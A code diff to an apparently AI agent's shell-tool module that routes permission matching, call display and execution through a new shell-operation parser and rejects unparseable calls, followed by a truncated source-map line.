+ import { parseShellOperation } from "./shell-operation.js";
19
20
  import { wrapToolDefinition } from "./tool-definition-wrapper.js";
20
21
  import { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize } from "./truncate.js";
21
22
  const MAX_TIMEOUT_MS = 2_147_483_647;
@@ -105,24 +106,38 @@ export function createBashPermissionSpec() {
105
106
  return {
106
107
  defaultBehavior: "ask",
107
108
  defaultBehaviorFor(params) {
108
- return "command" in params ? undefined : "allow";
109
+ const parsed = parseShellOperation(params);
110
+ if (!parsed.ok)
111
+ return undefined;
112
+ return parsed.operation.kind === "run" ? undefined : "allow";
109
113
  },
110
114
  matches(ruleContent, params) {
111
- if (!("command" in params))
115
+ const parsed = parseShellOperation(params);
116
+ // An unparseable call is never authorized by an allow rule; `isUnknown`
117
+ // keeps it out of them and pulls every deny rule onto it.
118
+ if (!parsed.ok)
119
+ return false;
120
+ if (parsed.operation.kind !== "run")
112
121
  return ruleContent === BACKGROUND_HANDLE_RULE;
113
- const classification = classifyBashCommand(params.command);
122
+ const classification = classifyBashCommand(parsed.operation.command);
114
123
  return (classification.type === "segments" &&
115
124
  classification.segments.every((segment) => segmentMatchesRule(segment, ruleContent)));
116
125
  },
117
126
  matchesDeny(ruleContent, params) {
118
- if (!("command" in params))
127
+ const parsed = parseShellOperation(params);
128
+ if (!parsed.ok)
129
+ return false;
130
+ if (parsed.operation.kind !== "run")
119
131
  return ruleContent === BACKGROUND_HANDLE_RULE;
120
- const classification = classifyBashCommand(params.command);
132
+ const classification = classifyBashCommand(parsed.operation.command);
121
133
  return (classification.type === "segments" &&
122
134
  classification.segments.some((segment) => segmentMatchesRule(segment, ruleContent)));
123
135
  },
124
136
  isUnknown(params) {
125
- return "command" in params && classifyBashCommand(params.command).type !== "segments";
137
+ const parsed = parseShellOperation(params);
138
+ if (!parsed.ok)
139
+ return true;
140
+ return parsed.operation.kind === "run" && classifyBashCommand(parsed.operation.command).type !== "segments";
126
141
  },
127
142
  describe(ruleContent) {
128
143
  if (ruleContent === BACKGROUND_HANDLE_RULE) {
@@ -134,16 +149,28 @@ export function createBashPermissionSpec() {
134
149
  // The command string is the entire effect being authorized. There is
135
150
  // nothing to read and nothing to summarise: showing it exactly, including
136
151
  // whitespace the rule grammar treats as significant, is the preview.
137
- if (!("command" in params)) {
138
- return { kind: "summary", lines: ["Retrieve or kill a background shell command"] };
152
+ const parsed = parseShellOperation(params);
153
+ if (!parsed.ok)
154
+ return { kind: "summary", lines: [parsed.reason] };
155
+ if (parsed.operation.kind === "kill") {
156
+ return { kind: "summary", lines: [`Kill background shell command ${parsed.operation.handle}`] };
139
157
  }
140
- return { kind: "summary", lines: [String(params.command)] };
158
+ if (parsed.operation.kind === "retrieve") {
159
+ return {
160
+ kind: "summary",
161
+ lines: [`Retrieve output from background shell command ${parsed.operation.handle}`],
162
+ };
163
+ }
164
+ return { kind: "summary", lines: [parsed.operation.command] };
141
165
  },
142
166
  ruleForCall(params) {
143
- if (!("command" in params)) {
167
+ const parsed = parseShellOperation(params);
168
+ if (!parsed.ok)
169
+ return null;
170
+ if (parsed.operation.kind !== "run") {
144
171
  return BACKGROUND_HANDLE_RULE;
145
172
  }
146
- const classification = classifyBashCommand(params.command);
173
+ const classification = classifyBashCommand(parsed.operation.command);
147
174
  if (classification.type !== "segments" || classification.segments.length !== 1)
148
175
  return null;
149
176
  const segment = classification.segments[0];
@@ -305,17 +332,29 @@ class BashResultRenderComponent extends Container {
305
332
  function formatDuration(ms) {
306
333
  return `${(ms / 1000).toFixed(1)}s`;
307
334
  }
308
- function formatShellCall(args, prompt) {
335
+ export function formatShellCall(args, prompt) {
336
+ const invalid = () => theme.fg("toolTitle", theme.bold(`${prompt} ${invalidArgText(theme)}`));
309
337
  const command = str(args?.command);
310
338
  const handle = str(args?.handle);
311
- if (!command && handle) {
312
- const suffix = args?.kill === true ? " · kill" : "";
313
- return theme.fg("toolTitle", theme.bold(`${prompt} ${handle}${suffix}`));
339
+ if (command === null || handle === null)
340
+ return invalid();
341
+ const parsed = parseShellOperation(args ?? {});
342
+ if (!parsed.ok) {
343
+ // Arguments still arriving name no operation yet, so they render as a
344
+ // placeholder. Anything that already names one and still fails to parse is
345
+ // rejected at execution, and naming its command would describe something
346
+ // that never runs.
347
+ if (!command && !handle) {
348
+ return theme.fg("toolTitle", theme.bold(`${prompt} ${theme.fg("toolOutput", "...")}`));
349
+ }
350
+ return invalid();
351
+ }
352
+ if (parsed.operation.kind !== "run") {
353
+ const suffix = parsed.operation.kind === "kill" ? " · kill" : "";
354
+ return theme.fg("toolTitle", theme.bold(`${prompt} ${parsed.operation.handle}${suffix}`));
314
355
  }
315
- const timeout = args?.timeout;
316
- const timeoutSuffix = timeout ? theme.fg("muted", ` (timeout ${timeout}s)`) : "";
317
- const commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg("toolOutput", "...");
318
- return theme.fg("toolTitle", theme.bold(`${prompt} ${commandDisplay}`)) + timeoutSuffix;
356
+ const timeoutSuffix = parsed.operation.timeout ? theme.fg("muted", ` (timeout ${parsed.operation.timeout}s)`) : "";
357
+ return theme.fg("toolTitle", theme.bold(`${prompt} ${parsed.operation.command}`)) + timeoutSuffix;
319
358
  }
320
359
  function rebuildBashResultRenderComponent(component, result, options, showImages, startedAt, endedAt) {
321
360
  const state = component.state;
@@ -397,7 +436,7 @@ export function createShellToolDefinition(cwd, config, options) {
397
436
  return new ToolExecutionError(`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(", ")}` : " No background commands have been launched."}`, undefined);
398
437
  };
399
438
  const executeHandleCall = async (handleInput) => {
400
- if ("kill" in handleInput && handleInput.kill) {
439
+ if (handleInput.kind === "kill") {
401
440
  const status = registry.kill(handleInput.handle);
402
441
  if (!status)
403
442
  throw unknownHandleError(handleInput.handle);
@@ -447,17 +486,25 @@ export function createShellToolDefinition(cwd, config, options) {
447
486
  const execution = result.details?.execution;
448
487
  // Retrieve and kill calls carry a handle; resolve it back to the
449
488
  // command that produced the output so the record shows what ran.
450
- const command = "command" in params ? params.command : (registry.commandFor(params.handle) ?? params.handle);
489
+ const parsed = parseShellOperation(params);
490
+ const command = !parsed.ok
491
+ ? "(rejected shell call)"
492
+ : parsed.operation.kind === "run"
493
+ ? parsed.operation.command
494
+ : (registry.commandFor(parsed.operation.handle) ?? parsed.operation.handle);
451
495
  return execution ? [{ kind: "command", command, ...execution }] : [{ kind: "command", command }];
452
496
  },
453
497
  },
454
498
  },
455
499
  constrainedSampling: getExperimentalToolSampling(),
456
500
  async execute(_toolCallId, input, signal, onUpdate, ctx) {
457
- if ("handle" in input) {
458
- return await executeHandleCall(input);
501
+ const parsed = parseShellOperation(input);
502
+ if (!parsed.ok)
503
+ throw new ToolExecutionError(parsed.reason, undefined);
504
+ if (parsed.operation.kind !== "run") {
505
+ return await executeHandleCall(parsed.operation);
459
506
  }
460
- const { command, timeout, background } = input;
507
+ const { command, timeout, background } = parsed.operation;
461
508
  const resolvedCommand = commandPrefix ? `${commandPrefix}\n${command}` : command;
462
509
  const spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);
463
510
  if (background) {
@@ -1 +1 @@
1
- {"version":3,"file":"bash.js","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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